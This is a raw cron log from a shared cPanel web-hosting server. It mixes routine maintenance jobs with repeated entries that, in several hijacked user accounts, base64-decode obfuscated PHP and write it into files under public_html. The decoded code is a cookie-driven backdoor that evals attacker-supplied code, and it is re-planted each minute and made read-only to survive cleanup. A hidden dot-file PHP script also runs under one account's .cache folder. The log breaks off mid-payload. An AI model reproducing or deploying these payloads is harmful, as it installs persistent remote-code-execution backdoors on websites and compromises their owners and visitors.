Jun  7 13:13:01 medusa CROND[4751]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:13:01 medusa CROND[4752]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:13:01 medusa CROND[4753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:13:01 medusa CROND[4762]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:13:01 medusa CROND[4763]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 13:13:01 medusa CROND[4764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:13:01 medusa CROND[4766]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:13:01 medusa CROND[4771]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:13:01 medusa CROND[4772]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:14:01 medusa CROND[6303]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:14:01 medusa CROND[6304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:14:01 medusa CROND[6305]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:14:01 medusa CROND[6306]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:14:01 medusa CROND[6311]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:14:01 medusa CROND[6312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:14:01 medusa CROND[6313]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:14:01 medusa CROND[6314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:14:01 medusa CROND[6315]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:14:01 medusa CROND[6317]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:14:01 medusa CROND[6318]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:14:01 medusa CROND[6320]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:14:01 medusa CROND[6321]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8134]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8135]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:15:02 medusa CROND[8136]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:15:02 medusa CROND[8137]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:15:02 medusa CROND[8138]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:15:02 medusa CROND[8141]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:15:02 medusa CROND[8139]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8143]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8150]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:15:02 medusa CROND[8144]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:15:02 medusa CROND[8147]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8149]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:15:02 medusa CROND[8153]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:15:02 medusa CROND[8154]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:15:02 medusa CROND[8156]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:15:02 medusa CROND[8161]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:15:02 medusa CROND[8166]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAg